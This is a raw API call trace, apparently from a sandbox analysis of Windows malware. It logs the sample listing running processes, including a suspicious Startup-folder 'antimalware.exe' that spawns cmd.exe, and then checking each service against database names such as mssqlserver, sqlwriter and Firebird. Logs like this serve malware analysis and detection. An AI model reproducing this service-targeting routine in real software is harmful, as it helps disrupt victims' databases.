	[0061.064] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0061.065] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0061.065] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0061.065] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0061.065] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0061.066] lstrlenW (lpString="taskhostw.exe") returned 13
	[0061.066] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0061.082] lstrlenW (lpString="UsoClient.exe") returned 13
	[0061.082] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0061.083] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0061.083] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0061.083] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0061.084] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0061.084] lstrlenW (lpString="msoia.exe") returned 9
	[0061.084] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0061.086] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0061.086] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0061.086] lstrlenW (lpString="msoia.exe") returned 9
	[0061.086] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0061.087] lstrlenW (lpString="roof.exe") returned 8
	[0061.087] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0061.088] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0061.088] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0061.088] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0061.088] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0061.089] lstrlenW (lpString="cause.exe") returned 9
	[0061.089] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0061.090] lstrlenW (lpString="occasionstax.exe") returned 16
	[0061.090] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0061.090] lstrlenW (lpString="distributors.exe") returned 16
	[0061.091] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0061.091] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0061.091] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0061.092] lstrlenW (lpString="rand.exe") returned 8
	[0061.092] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0061.093] lstrlenW (lpString="unlikely.exe") returned 12
	[0061.093] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0061.093] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0061.093] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0061.094] lstrlenW (lpString="promotion.exe") returned 13
	[0061.094] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0061.095] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0061.095] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0061.095] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0061.096] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0061.096] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0061.096] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0061.097] lstrlenW (lpString="bad-length.exe") returned 14
	[0061.097] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0061.098] lstrlenW (lpString="unit.exe") returned 8
	[0061.098] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0061.099] lstrlenW (lpString="parents.exe") returned 11
	[0061.099] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0061.100] lstrlenW (lpString="charge.exe") returned 10
	[0061.100] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0061.101] lstrlenW (lpString="measures-provision.exe") returned 22
	[0061.101] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0061.102] lstrlenW (lpString="dllhost.exe") returned 11
	[0061.102] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0061.103] lstrlenW (lpString="conhost.exe") returned 11
	[0061.103] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0061.104] lstrlenW (lpString="conhost.exe") returned 11
	[0061.104] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0061.105] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0061.105] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0061.106] lstrlenW (lpString="cmd.exe") returned 7
	[0061.106] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0061.106] lstrlenW (lpString="conhost.exe") returned 11
	[0061.107] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.107] lstrlenW (lpString="svchost.exe") returned 11
	[0061.107] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0061.108] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0061.108] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0061.109] lstrlenW (lpString="conhost.exe") returned 11
	[0061.109] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.110] lstrlenW (lpString="svchost.exe") returned 11
	[0061.110] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0061.110] lstrlenW (lpString="LogonUI.exe") returned 11
	[0061.110] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0061.111] CloseHandle (hObject=0x360) returned 1
	[0061.111] Sleep (dwMilliseconds=0x1f4) 
	[0061.617] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fd00
	[0061.618] EnumServicesStatusExW (in: hSCManager=0x68fd00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0061.618] GetLastError () returned 0xea
	[0061.618] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1d5a) returned 0x3bfae80
	[0061.618] EnumServicesStatusExW (in: hSCManager=0x68fd00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bfae80, cbBufSize=0x1d5a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bfae80, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0061.619] CloseServiceHandle (hSCObject=0x68fd00) returned 1
	[0061.619] lstrlenW (lpString="Appinfo") returned 7
	[0061.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0061.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0061.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0061.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0061.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0061.619] lstrlenW (lpString="AppXSvc") returned 7
	[0061.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0061.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0061.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0061.619] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0061.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0061.619] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0061.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0061.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0061.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0061.619] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0061.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0061.619] lstrlenW (lpString="Audiosrv") returned 8
	[0061.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0061.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0061.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0061.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0061.620] lstrlenW (lpString="BFE") returned 3
	[0061.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0061.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0061.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0061.620] lstrlenW (lpString="BITS") returned 4
	[0061.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0061.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0061.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0061.620] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0061.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0061.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0061.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0061.620] lstrlenW (lpString="CDPSvc") returned 6
	[0061.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0061.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0061.620] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0061.620] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0061.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0061.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0061.620] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0061.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0061.620] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0061.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0061.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0061.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0061.621] lstrlenW (lpString="CryptSvc") returned 8
	[0061.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0061.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0061.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0061.621] lstrlenW (lpString="DcomLaunch") returned 10
	[0061.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0061.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0061.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0061.621] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0061.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0061.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0061.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0061.621] lstrlenW (lpString="Dhcp") returned 4
	[0061.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0061.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0061.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0061.621] lstrlenW (lpString="Dnscache") returned 8
	[0061.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0061.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0061.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0061.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0061.622] lstrlenW (lpString="DoSvc") returned 5
	[0061.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0061.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0061.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0061.622] lstrlenW (lpString="DPS") returned 3
	[0061.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0061.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0061.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0061.622] lstrlenW (lpString="DusmSvc") returned 7
	[0061.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0061.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0061.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0061.622] lstrlenW (lpString="EventLog") returned 8
	[0061.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0061.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0061.622] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0061.622] lstrlenW (lpString="EventSystem") returned 11
	[0061.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0061.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0061.622] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0061.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0061.622] lstrlenW (lpString="FontCache") returned 9
	[0061.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0061.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0061.622] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
